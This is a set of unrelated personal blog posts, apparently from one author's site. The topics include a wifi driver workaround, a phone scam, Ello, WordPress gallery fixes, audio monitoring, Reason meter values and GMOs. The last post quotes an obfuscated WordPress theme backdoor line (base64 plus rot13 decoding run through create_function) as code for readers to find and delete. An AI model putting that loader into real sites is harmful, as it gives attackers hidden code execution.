RULES:

If you accept The FaceBucket Challenge, you must:

A) Promise that from now on, you will not share any alleged facts on social media without first reading the Wikipedia entry likely to contain confirmation of the alleged fact;

Or

B) Share a video of yourself putting a bucket over your head.

WHY?

The FaceBucket challenge is intended to spread awareness about media literacy, especially social media’s potential for spreading misleading information.

As participants in social media, we have a responsibility to the others in our networks to not disseminate an inaccurate portrayal of the world we live in.  This is especially true when it comes to political or ‘loaded’ topics where widespread misinformation can lead to negative consequences for large numbers of people.

Also, it’s kind of funny.


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Dragon ® 150Mbps Wireless N Nano USB Adapter_Yes, this page is probably going to finally let you get your cheap USB Wifi Adaptor working!

…You’re welcome! :)

I bought the Dragon ® 150Mbps Wireless N Nano USB Adapter from Amazon and couldn’t get it to work with my macbook because of the slot-loading drive.

After googling around, I found a lot of people talking about where to download the driver but after about a hundred cycles of download, install, uninstall, I decided to get MacGyver on this.

I actually cut out an adapter for small cd to full size using a dremel tool. Doesn’t look pretty but it worked. So for anyone not willing to risk putting garbage in their optical drive like I was, here’s the software from that CD. Enjoy.  Just be sure to uninstal the last versions you installed that didnt work.

http://andrewapeterson.com/freebies/RTL8188EU (new driver).zip

Apparently a lof these little wifi dongles work using the same part, a realtek chip.

So this may even work for similar inexpensive USB Network Adaptors. The mini CD that came with mine reads: Wireless-N USB Adaptor. RTL8188_RTL8192. The Disk contained two folders but I zipped and uploaded the one that wasnt called “old driver.”   It contains drivers for Windows, Mac and Linux.

mini cd to full size adaptor

I took one of the plastic protecter disks from the bottom of a stack of CDs and, using my fat finger to line up the center holes, I traced the little disk. Then I cut out the circle with a dremel tool. Sanded off all the burrs and did a little fine tuning with an exacto knife. Then I minimally taped the two disks together.

 


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Spinning wheel of death at clear movie: While this isn’t the most ideal workaround, I’ve found that running DP in 64 bit mode doesn’t have this problem.


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Phone number (310) 300-0101

This number has been calling me every few days for the couple weeks.  Today, for some reason, I actually answered.

The woman said she was trying to verify that I would be “here” to get served by a sherif. And that the sherif would only try two times to serve me after which… don’t remember… something about a warrant.

She said that she was merely a legal document processor and knows nothing about my case, but it has been “red flagged” and she only deals with red flagged cases.

She said she could give me a number to call and a case number but that’s the information she has. When I asked her, she said she worked for Fidelity Express.

The number she gave me to call is 1-849-292-8022… Unless I copied it down wrong, that’s a Dominican Republic Area Code.

I asked a lawyer I know about this and he said:

Sounds like a scam.  I get repeat calls all the time from Beverly Hills, Pasadena, Detroit, NY, Miami, you name it.  I rarely answer them. So in the future never identify yourself to strangers on the phone.  Never give a stranger information over the phone. If I do answer and realize it’s not a call I want to take I just say, “Can I take a message?” I won’t even verify if they have the correct number.

If there is any validity to the call avoid being served.  So if a “sheriff” or process server comes to your door, don’t answer the door. As far as I know a sheriff can only serve papers from a court w/in that sheriff’s county.  So the [some] County sheriff’s office can’t serve papers for a court in [somewhere else] for instance or even [nearby county].  

I bet if you call that number they will tell you to send money to X to pay the “fine” or whatever.  I would not suggest you make that call number because then you are rated higher as a candidate for scamming another time. If you get served for a case in another country you can ignore it. If you get served for a case in another state let’s talk.  You would have to file a demurrer to personal jurisdiction.  I think I have a copy of one somewhere.

 

I decided to call the number I was called from, 310-300-0101 and I got a phone service recording saying “this is not a valid phone number”


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Some thoughts on @ello

If I recall correctly, the way MySpace got rolling was that they recruited a bunch of lower-tier models and bands in order to make the population seem cool. And that slimy quality never really went away.

Of course, this is probably a premature complaint (is it?), but I fear that something similar might be going on here on ello. In the few days I’ve been here, I feel like there’s tons of stuff flying around that’s really just magazine spreads and and logos… MySpace was once described to me as “an online version of the inside of a teenager’s high school locker.” Now the kiddies use tumblr for that purpose and everyone else uses pinterest: topical passive image consumption and re-posting things that manifest how you want to be seen, by consuming a feed of re-posted crap from a bunch of strangers whom are filtered by topics or genres. Right?

And for now I really don’t want to see runway models and futuristic, laser-accurate post-modern woodcarvings from wall to wall. It actually makes me feel like I’m part of some sort of ‘early adopter’ demographic and I’m being profiled and marketed at. Pretty funny. I put myself here and I’m complaining. But bear with me for a sec.

Once #hashtags are working, and I can actually filter the noise in useful ways, OK fine. But until then, there’s really no value here, beyond the manifesto, unless everyone just shuts the fuck up and talks about what they had for lunch and then uploads a picture of their cat or their baby, while recruiting their ‘real’ friends and family to come here and do the same. Seriously.

The appeal of FaceBook, at least for me (and I suspect the vast majority of people who are not early adopters), is that it doesn’t have to be noisey/quiet if you don’t want it to be. It can be less-quiet/quiet. I know a lot of early adopters are also hustling to promote themselves as the next super-important entrepreneur/influencer/visionary. And I love all those/us people too. But it is a bit ironic to me that everyone flocking to the non-data-mining, non-commercial social software platform (which even has a goddamn ‘manifesto’ for cryin out loud) gets here and and immediately whips out their SEO/follower-collection habbits.

This isn’t going to stick if we can’t get grandma and Joe Blow on here. So I guess what I’m saying is, perhaps we should, as a community of people who are early to this place, think about the potential here, that is, if we decide to steer the status quo of behavior in a constructive direction, acting as an example to the next round of people. Construction problems, missing features, and an unfamiliar interface aside, I know the old ladies I know would bounce right the fuck back out the door if they came to this place and saw what I’m seeing.

I may be sounding like a luddite to you (and to me a bit too), but there’s no way to filter all this content yet. So maybe we should dial back our douchebaggery and think about the ello manifesto and what appeals to us most about it, and what will make that actually happen: Grandma and Joe Blow coming here, along with a few hundred million other people (most of whom live in stupid towns and just have jobs and cats and babies) who are tired of being spied on, bought and sold by Facebook, data-mining companies, marketers Etc. Right?

We’re expecting company! Right?


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NOTE: this will probably work to use shortcodes for any plugin or theme within NextGen Image Descriptions, but this does not make the shortcodes get parsed and work in the lightbox effects. Also, you’ll have to put the gallery template file somewhere where it works. I couldn’t get it to work in my theme’s folder. So this post has it in a plugin’s folder, but you may not be using that plugin (although I guess you could install it, just for the shortcode-enabling bit)

Link to modified gallery-wp-cart.php file which should be used to overwrite the version in /plugins/wordpress-simple-paypal-shopping-cart/lib/.

This was a NIGHTMARE for me to figure out. After some recent software updates, probably most notably, Nextgen Gallery’s big v2 update, my client’s descriptions disappeared from the lightbox effect.

We had things set up so that each image in a gallery represents a product.  Underneath each thumbnail in the gallery is an “add to cart” button created with WordPress Simple Paypal Shopping Cart Plugin. This was done by adding the following syntax to each image’s description in “Manage Galleries:”

Visible human-readable description is here followed by human-friendly price, followed by shortcode contained within SPAN so I could selectively hide the shorcode. $20<span class=”cart”>[(remove this)wp_cart_button name="Product Name" price="20.00"(remove this too)]</span>

Then with CSS, captions were hidden from thumbnail view, buttons were un-hidden and styled for thumbnail veiw, lightbox captions were styled and lightbox shortcodes (which just display as the shortcodes, a challenge I’m not up to night now) were hidden via the span.

It worked fine, but after some site maintenance, shit went crazy.  Captions disappeared.  The closest I could get to getting things back was to use “template=caption”  in a legacy Nextgen shortcode, but this did not allow the Cart Buttons to be parsed and render as buttons.

Nextgen says on their site that you can create new gallery templates by adding them to your active theme.  While this may be the case, it wasn’t working for me.

I noticed, by the way, that that span id=”lightbox-image-details-caption” now had style=”display: none; and the span that previously contained the caption was now empty :(

I think having gallery-wp-cart.php in two places (the theme and the plugin) favors the plugin over the theme.  And anyway, the file that came with WordPress Simple Paypal Shopping Cart is out of date, at least as of writing this, 2014-09-28.

So after spinning my wheels for hours and hours, I finally created a hybrid of gallery-caption.php (from nextgen) and gallery-wp-cart.php (from WordPress Simple Paypal Shopping Cart). Link is below and above (zipped file). I used this to replace the plugin’s version.  Of course, this will get overwritten when there’s an update to the plugin.

If you are going to try to use my solution, and you’re working for someone else, I recommend, at the very least editing the cart plugin’s description  to contain a warning not to auto update (in wp_shopping_cart.php).

Here’s the Gallery Template file I made.

 


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Seems some of the Edit Screen’s Ajax stuff is broken after an upgrade to WP 4.0.  #pound sign/hash shows up in URL, a sign of incompatible or broken Javascript.  And most likely it’s conflicting versions of jQuery, since I see this all the time and that’s almost always what it is.  For me, it was All in One SEO Pack.

UPDATE YOUR PLUGINS!


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Om’s post is here:

http://om.co/2014/07/08/with-big-data-comes-big-responsibility/

I decided to have this read by OSX’s Alex voice, which I thought was fitting, given the subject.

 

QR’s are for original post and recording software used.

With Big Data Comes Big Responsibility

2014-07-08

By Om Malik

http://om.co/2014/07/08/with-big-data-comes-big-responsibility/

Read by Mac OS X.6’s Alex at the whim of Andrew A. Peterson

http://andrewapeterson.com

Recorded with SoundFlower

http://cycling74.com/products/soundflower/


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Bill East,

I discovered your song called “Is everything happening uncontrollably,” because it was featured on “This American Life” in the episode called “Human Spectacle”

I bought your album “What Am I Really” from amazon and I’m listening to it now.

http://www.amazon.com/gp/product/B001QR0IE4/ref=dm_ws_sp_ps_dp?ie=UTF8&qid=1404529822&sr=8-2

I’d like to encourage you to upload your songs as YouTube videos so people can explore your songs and hopefully decide to buy them.

The previews on Amazon and iTunes are too short to hook most people I think.  And right now, in search results, you pretty much don’t even come up so it was hard to find you.

I actually know a good deal about “viral marketing’ Etc, and I’d be glad to give you further advice if you want.

Thanks for the music.  I am enjoying it quite a bit.

-Andrew A. Peterson


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All of the following refers only to STEREO mixing.
Also, if I use the term “2.1” I’m referring to stereo plus monoized sub. It should be noted that in reality, “real” 2.1 is actually more complicated than that. Real 2.1 decodes the source material in more sophisticated ways, depending on the material. But for our purposes, 2.1 means left plus right plus a monoized bass signal.

Here are some main points.

  • Powered monitors that have individual volume controls are a pain cuz they need to be calibrated unless you leave them all the way up, which is a different pain (turning on/off or noise when unplugging etc).
  • Powered moniters kind of suck because when one goes out, youre out the whole setup, which is why I’ve decided it’s better to use an amp and 2 passive speakers
  • No matter what, you’re blind if you don’t have a subwoofer.
  • I can defintely say that 8 inch speakers sound more real than 5 inch
  • I can definitely say that not having a sub is worse than anything
  • the second area where you’re most likely to be blind, is the crisp/shrill (i’d say everything above 5 or 8k) area of highs, followed by the muddy area of low mids (i’d say between 150 and 300) (maybe why 8s are better than 5s)
  • 2-way speakers are definately more reliable than 3-ways or 4-ways… One low driver and one tweeter. If there was such a thing as a driver that could reproduce everthing from ~100hz all the way up to ~12kHz or higher, that’d be the way to go. Basically, monitors have “crossovers” which send highs to the tweeter and lows to the woofer. The crossovers are never perfect so the fewer crossovers the better.
  • I’ve found that “coaxial” 2-ways are better than the typical setup where the tweeter is above the woofer. I think I can detect the difference in location so if the tweeter is in the middle of the woofer, it seems to all be coming from one place. Unfortunately, not many manufacturers make inexpensive coaxial monitors.
  • it’s important to remember that the room you’re in has almost as much to do with what you hear as the speakers. REALLY.
  • amplifier quality is pretty much a non-issue nowadays. Even very cheap amps are very faithful, especially when considering how volatile the speakers and room are as factors.
  • Powered speakers that have their own USB digital to analogue converter: why deal with another layer of bullshit? The mac you’re using has a great sound card! Switching audio outputs in system prefs and in program prefs is a workflow bitch when going from speakers to headphones Etc. Plus, latency! Whenever possible, use the computer soundcard, unless you have some sort of interface that has less latency, which I doubt you do.
  • The fewer components to hook up the better

If money was no object:

  • a good room
  • 2 coaxial 2-way speakers L and R
  • 2 subs L and R
  • Amps for each speaker
  • Crossover adjustment for the subs

Since money is an object

  • A monoized signal for the sub-bass is an ok compromise, since it is true that it’s nearly impossible to tell where the hell in your room the sub is, AND a lot, if not most audio material is mastered to have a monoized low end and since we’re cheap bastards, whom may want to skimp on mastering costs, it may even be smart to just work under the pretense that sub-bass is mono or at least ‘mono-compatible’ meaning there’s no significant phase cancellation in the low end that will cause volume changes when the low end is monoized by someone else’s stupid 2.1 setup.
  • So this means what we’re after on a budget is a 2.1 system. The single sub takes the left and right signal and actively mixes them together (actively as in via a mixer, not a y-cable)

My setup is 2 speakers, mixer, L/R amp, powered Sub.

  • soundcard to mixer.
  • mixer L and R to amp for L/R monitors
  • Mixer mono post-fader send out to powered Sub (post fader so channel volume effects L, R and Sub… In reality, there’s a thing called the “Fletcher-Munsen Curves” which means that bass is not proportianal to highs the same way at every volume level, but for practical purposes, within a typical listening range, I can calibrate the bass to the L/R once and go a little louder or quieter without being too far off) …So I have one volume level which controls everything.

Problem with my setup: Too many components!

If I was going to start over and keep it cheap, I’d buy a consumer-grade 2.1 system and toss the L/R speakers that came with it and instead, use my high-end coaxial 2-ways for the L/R. The 2.1 system would have a sub crossover frequency adjustment and a sub volume and a master volume. Then I’d have:

  • 3 pieces: sub containing all three amps, a Left passive monitor, a Right passive Monitor
  • one stereo mini going from the computer to the sub, where the L/R amps and the Sub amp is housed, and 2 speaker wires going to my L/R monitors.
  • NOTE: The L/R Monitors are where the money is spent!  If the 2.1 Amp/Sub bullshit dies, toss it and get a new one.

Finally

I really think you should have at LEAST a hundred watts of power for the sub!!  Meanwhile I think you can get away with far less for L/R… Maybe even as low as Twenty Watts!  But it also depends on how efficient the amplifiers are… And since we’re trying to get all three amps and a sub in one unit, we’re essentially shopping for bass power.  The L/R will be plenty.


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Original chords are essentially

Verse:

A5, G5, D5

D5, C5, G5

Chorus

E, C, F, D

 

My improved, dramatic version:

Verse:

E4, D4, A4

A4, G4, D4

Chorus:

G#m, Am, F, E7


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Some info about the Better Business Bureau lifted from the wikipedia

In 2010 ABC’s 20/20 reported in a segment titled “The Best Ratings Money Can Buy” about the irregularities in BBB ratings.[24] They reported that a man created two dummy companies which received A+ ratings as soon as he had paid the membership fee. They also reported that business owners were told that the only way to improve their rating was by paying the fee. In one case a C was turned to an A immediately after a payment and in another case a C?minus became an A+. Chef Wolfgang Puck said that some of his businesses receive F’s because he refuses to pay a fee. Ritz Carlton, which does not belong either, also receives Fs for not responding to its complaints.[23]

In response, the president of the Council of Better Business Bureaus has stated the BBB ratings system will cease awarding points to businesses for being BBB members.[25] The national BBB’s executive committee voted to address the public’s perception of the ratings system. It voted that the BBB ratings system would no longer give additional points to businesses because they are accredited. It voted to implement a system to handle complaints about BBB sales practices. [26] Despite the vote, the BBB website still states that points are taken away if accreditation is lost.[27][28]

In Canada, the CBC News reported in 2010 that Canadian BBBs were downgrading the ratings scores of businesses who stopped paying their dues. For example, a moving business who had an A rating and had been a BBB member for 20 years, dropped to a D?minus rating when they allegedly no longer wanted to pay dues.[29]

BBBs have been accused of unduly protecting companies. If a branch does not act reasonably on behalf of a consumer, a complaint may be filed with the Federal Trade Commission. However, recent reports have suggested that the Austin chapter of the Better Business Bureau refused to resolve complaints against companies if customers do not pay a $70 mediation fee.[30]


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I recently posted a compilation of negative reviews about Madwire.  Pissed Consumer sent my hosting company, BlueHost, who I generally really like, a DMCA takedown which claimed copyright infringement, do to the fact that I posted a copy of one of pissedconsumer’s user reviews on my own site, albeit with credit and a link back to pissedconsumer.com, and clearly with  journalistic intent.  I strongly believe my post is considered ‘fair use’ under copyright law.

I called the Terms of Service department at Bluehost and they said that they cannot validate a takedown.  I would have to fight this in court. And my site will remain down until I remove the content in question.

I wrote the legal department hoping the person on the phone was incorrect, but I got back the following response from Bluehost’s legal department:

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Thank you for contacting the Legal Department.

Unfortunately, we are not able to make determinations as to the validity
of a Takedown notice. If the notice is properly submitted, we are required
by US Federal law to take action. The notice was properly submitted.

Alternately, you or your client could contact the claimant to resolve the
matter directly – we would not be required to take any action if the
claimant contacts us to withdraw their claim after any such conversation.

Please note that nothing in this message should be considered legal
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Jesus-Christ-I-AM-THE-MEME

Jesus answered, “I am the way and the truth and the life…”  -John 14:6

I figured he could also be the meme.


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Here’s a hi-res pdf link the picture below is just a crappy screen grab.

photo

 

Screen shot 2014-04-30 at 7.13.08 PM

this is just a low res screengrab… use the link above for printing. It also doesn’t have all that ink-wasting gray.

 

 

 

 

 

 


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the typical <?php phpinfo(); ?> wont work at earthlink.  Solution (or workaround) is to ask a more specific question:

<?php phpinfo(‘4′); ?>
<?php phpinfo(‘8′); ?>
<?php phpinfo(’16’); ?>
<?php phpinfo(’32’); ?>
<?php phpinfo(’64’); ?>


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[this is a copy of what I posted the Propellerhead Reason Forum.]

When Reason is slaved to a DAW (tried multiple DAWS), and there is a tempo map in the DAW’s Conductor Track, some Reason notes either do not not sound or sound with decreased velocity or with changed Amp Decay or Sustain.

 

I seem to be able to make them sound by moving the notes later than right at the beginning of the measure/beat.  But I have to move them as much as 23 units (frames or whatever the thousandths portion of the position indicator represents)…

 

But this obviously has an effect on the feel of the track, particularly obvious with bass voices.

 

To re-create the problem:

create a tempo map in a DAW that is rewire master… Have the tempo jump around from very slow tempos, like around 55bpm to faster tempos like 90bpm. Draw quantized notes in reason.

 

I know for certain this effects the Combinator patch called ‘Bass Player’ and the Subtractor patch called ‘Groove to This,’ but I’ve experienced this with other patches as well.

 

I’m running Digital Performer 8 and Reason 4 in 48kHz.

 

Things I’ve tried:

Switching DAWs (to Reaper)

Changing DAW Buffer Size and “host multiplier” buffer settings.

Changing Reason’s Default Sample Rate

Changing Reason’s Default Buffer Size

Restarting Programs

Repairing Disk Permissions.

Manually drawing a copy of DAW’s Tempo Map into Reason’s Transport Automation Lane while not rewired.

Moving notes later (seems to work, but not an acceptable solution)

[update] Tried moving to 44.1kHz… no dice


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[UPDATE 4] I finally heard back from the public affairs department at ConAgra.  They haven’t answered any of my questions yet, but I’m optimistic that they will, now that I’ve written back and explained why I think they should.  Hopefully, this post will become a source of actual factual information on the products in question, once I have the facts.

This is in response to:  http://dadgoinggreen.blogspot.com/2011/04/wtf-is-sustagrain-and-why-is-it-in-my.html which has a character limit.  So I guess I have to put it here on my own site.

[UPDATE] I believe this is the patent, #6083547http://patft.uspto.gov/netacgi/nph-Parser?Sect2=PTO1&Sect2=HITOFF&p=1&u=/netahtml/PTO/search-bool.html&r=1&f=G&l=50&d=PALL&RefSrch=yes&Query=PN/6083547 [update 3] No, I don’t think it is :(  But I wrote ConAgra to ask

[UPDATE 2] I think sustagrain is actually a process for making flour from barley that’s healthier in certain ways, or is alleged to be.  Maybe I’m way off, but that’s what I’m getting from what I’m reading at the patent office. I might have to just write ConAgra and ask them. The only reason I haven’t done so already is that I’ve seen the same or nearly identical boilerplate response from them to other people who have written them (forums I found Etc) [update 3] Nope.  After more reading, I’ve found that Sustagrain is a re-naming of a barley strain called Prowashonupana… I think.  I wrote ConAgra and asked.  At any rate, it appears that Prowashonupana is a conventional hybrid, not a GM strain.  Again, I asked ConAgra.

Hello [to the guy that wrote the post this is a comment on].

I came across this while researching Sustagrain this morning after reading about the nutritional properties of various barley products (groats, pearled, rolled, pressed, Etc). I discovered such a thing as “sustagrain” exists and so I started trying to understand what it is and if it is or isn’t a GM crop.

A few points.
1. While I’m no apologist for companies like ConAgra, ADM, Monsanto Etc, who clearly have done some morally questionable things in the name of profit, I think that to keep things rational, it should be noted that not everything ConAgra does is necessarily evil. For instance, they do produce certified organic products, in addition to their scarier, unscrupulous profit-first activities. When companies get big enough to, it behooves them to take advantage of the power they can wield over legislation. I’m not justifying this as much as trying to point out that this is probably built into the culture of our economy and the kind of society we live in. When it’s food that we’re talking about, it’s easy to feel like it’s personal because it hits so close to home, but it’s just regular old free market capitalism doing its job: profit above all else.

2. According to all the research I’ve done this morning, Sustagrain is not a GMO. At least it’s not a biotech/genetic-engineering crop. It is a hybrid created via traditional methods. Please correct me if you know that I am wrong about this and point us all to some facts… (the web is cluttered with speculation and fear about this but very few facts). It is patented, so there’s something going on that I don’t quite understand yet. (I will try to find the patent, which of course is public info, at the patent office later today).

If anyone has found any evidence that this kind of barley is a GMO, please respond with some real info. As far as I can tell it isn’t.

3. (this is the thing that some people will be turned off by but please try to hear past the catchphrases and trigger-words that might make you want to disagree with me implusively)

The popular debate on GMOs is centered almost entirely on the practices of Monsanto, particularly their Roundup-ready plant strains (mainly corn and soy). As far as I can tell there are in fact very few varieties of GM crops in production (even though of course there’s a ton of the few that are in production being grown)… For instance I don’t believe there is currently a GM barley being produced at all. It’s mostly corn and soy that everyone is talking about.

And there are two main things that most people are taking issue with: First there’s patent law concerning these GM crops and the injustice this has led to with regard to farmers’ rights and the lawsuits resulting. Next, there’s the general issue people take with the use of chemical pesticides, which of course we can assume that roundup-ready crops get treated with.

Whenever the subject of GMOs comes up, I feel like it is important to point out that not all GM crops are roundup-ready ones.
There are at least several examples of GM crops that have been developed for the purpose of improving nutrition, particularly in regions that have limited access to a diversity of food and suffer from malnutrition and/or certain deficiencies/diseases that can be helped by so-called “frenkenfoods.” So in those cases, it’s really a nuts-and-bolts type of question of whether or not we are simply morally opposed to and afraid of any and all genetic engineering. If you are, you might find it worthwhile to learn a bit about how all this stuff works. It sounds scary when you hear of “putting fish genes into a tomato, where they don’t belong” but I promise, this is an oversimplification of what is going on. And repeating this kind of rhetoric just prolongs a widespread ignorance of the facts. There’s a sort of ‘fundamentalism’ around the subject that feels a bit scary to me and reminds me of an older time when people may have said “electricity is the work of the devil” or other things like that in reaction to something that was new and seemed scary to them. Personally, I prefer to eat Organic, but my motivation is to avoid pesticides and other unsustainable practices and vote with my wallet for better farms that produce using a more natural process.

And about patent law, like with just about every other aspect of intellectual property law, it badly needs to be adjusted.

There’s another reasonable concern I hear occasionally about contaminating the greater food supply through cross pollination Etc. I can relate to this concern and it bothers me a bit too.

But let’s try to be smart about things. Pesticides, Patent Law and the general concept of ‘gene tampering’ are all separate issues.

I’ll try to find the patent for sustagrain and post it here.

Cheers.

 


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What if the content/facts of all wikipedia articles were semantically linked by a prediction modeling application?

Of course all of this linking would need to be done by the community. But I have a great deal of faith in the wikipedia community.

All that really needs to happen is for links in sentences that contain dates like “2054” or “June 11″ or “05, 21, 1976″ to be declared as being a prediction, fact, speculation (or other specs) Etc (for now, via a rel=”prediction” or time=”Etc” type of thing) (I think it would have to work along with/within human language syntax for now, because I doubt people want to qualify every word they write with semantic markup, but to require lines that contain a date to have some rules isn’t too crazy)

Another piece is needed to tie in the actual information, but it could just be a link to the actual article in which it appears, which isn’t necessary because that’s where it’s coming from.  It’s a start.

In other words, “Show me predictions for 2054 based on wikipedia info” could give you articles that contain predictions for 2054. And you can easily get to those articles from the results.  Not as granular as “linked data” should be, but right now, the web is basically all about making it easier to look at selfies and bad journalism.

I think this could have a lot of research power.


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OK so I found myself watching this ad for “keybiotics” which was at the beginning of a youtube vid I was about to watch.

It’s done in a painfully slow pitch format that has to do with a conspiracy theory Etc.

But I actually believe most of what the video says. According to the research I’ve done, the FDA has done some pretty shady things in recent/living history.

And as far as I’m concerned, microbial imbalance is often a plausible cause for many, MANY symptoms.

Some other stuff: As far as I know, most GI tract microbes cannot be reintroduced thru a supplement… I think I heard somewhere that there are at least 200-300 distinct organisms that we need to to have thriving in out intestines… Most of the probiotic supplements or foods out there can only claim to provide a few.

There is work being done on microbial transplants or ‘trans-pooh-sions,’ as one of the guys at Radiolab called it. Haha.

Anyway, this is totally legitimate science (not the video, the whole idea of microbes being a crucial part of humans). I suspect it’s highly under-appreciated. I suspect it’s going to become mainstream.

Here’s the video, but just so you know, I’m not buying their product. I am buying a similar product for less money on amazon.


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Been frustrated that Propellerhead Reason’s Meters and Faders do not use the standard dB measurement.  Instead the faders are just 0-127 (likely an artifact of MIDI), and the meters are just color-coded.

The following is something I found here after some digging.  It wasn’t easy to find so I’m re-posting it here.  This is plagiarism.  But I’m stealing bread to feed you hungry fellow frustrated and confused music producers out there.

I haven’t completely fact-checked this.  I’ll update in the next  few weeks if I find this info to be inaccurate.

[begin plagiarism]

WARNING: too much information mode = ON
(do I have a lot of time on my hands or what?!?)

Mixer Faders (and Master Fader) are Unity at 100 (or -7dB from clipping)

Mixer Fader (1-127) levels to dB:
127 = 0dB
123 = -1dB
119 = -2dB
115 = -3dB
111 = -4dB
106 = -5dB
104 = -6dB
100 = -7dB
97 = -8dB
93 = -9dB
83 = -12dB
72 = -15dB
64 = -18dB

What’s weird is that the NN-19 sampler levels don’t match these. They are:
127 = 0dB
123 = -3dB
112 = -6dB
100 = -9dB

Mixer Sends are Unity at:
Mono send = 79
Stereo send = 100
(since sereo aux sends follow channel panning, when panned hard left or right unity is at a send level of 79)

Mixer Meters: (from top to bottom)
(all levels rounded to nearest 0.5dB)
Top ‘LED’ (orange) = -1dB
2nd (orange) = -3.5dB
3rd (orange) = -6.0dB
4th (orange) = -8.5dB
5th (yellow) = -10.5dB
6th (yellow) = -13.0dB
7th (yellow) = -15.5dB
8th (yellow) = -17.5dB
9th (green) = -20.0dB
10th (green) = -22.5dB
11th (green) = -25.0dB
12th (green) = -27.3dB
13th (green) = -29.5dB
14th (green) = -32.0dB
15th (green) = -34.5dB
16th (green) = -36.5dB
17th (green) = -38.5dB
18th (green) = -41.5dB
19th (green) = -44.0dB
20th (green) = -45.5dB


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DELETE anything that looks like the below from all your theme files.

$z=get_option(“_transient_feed_fbc2353992919b11fc48934d3e55bd94″); $z=base64_decode(str_rot13($z)); if(strpos($z,”95A5440F”)!==false){ $_z=create_function(“”,$z); @$_z(); }

 

 


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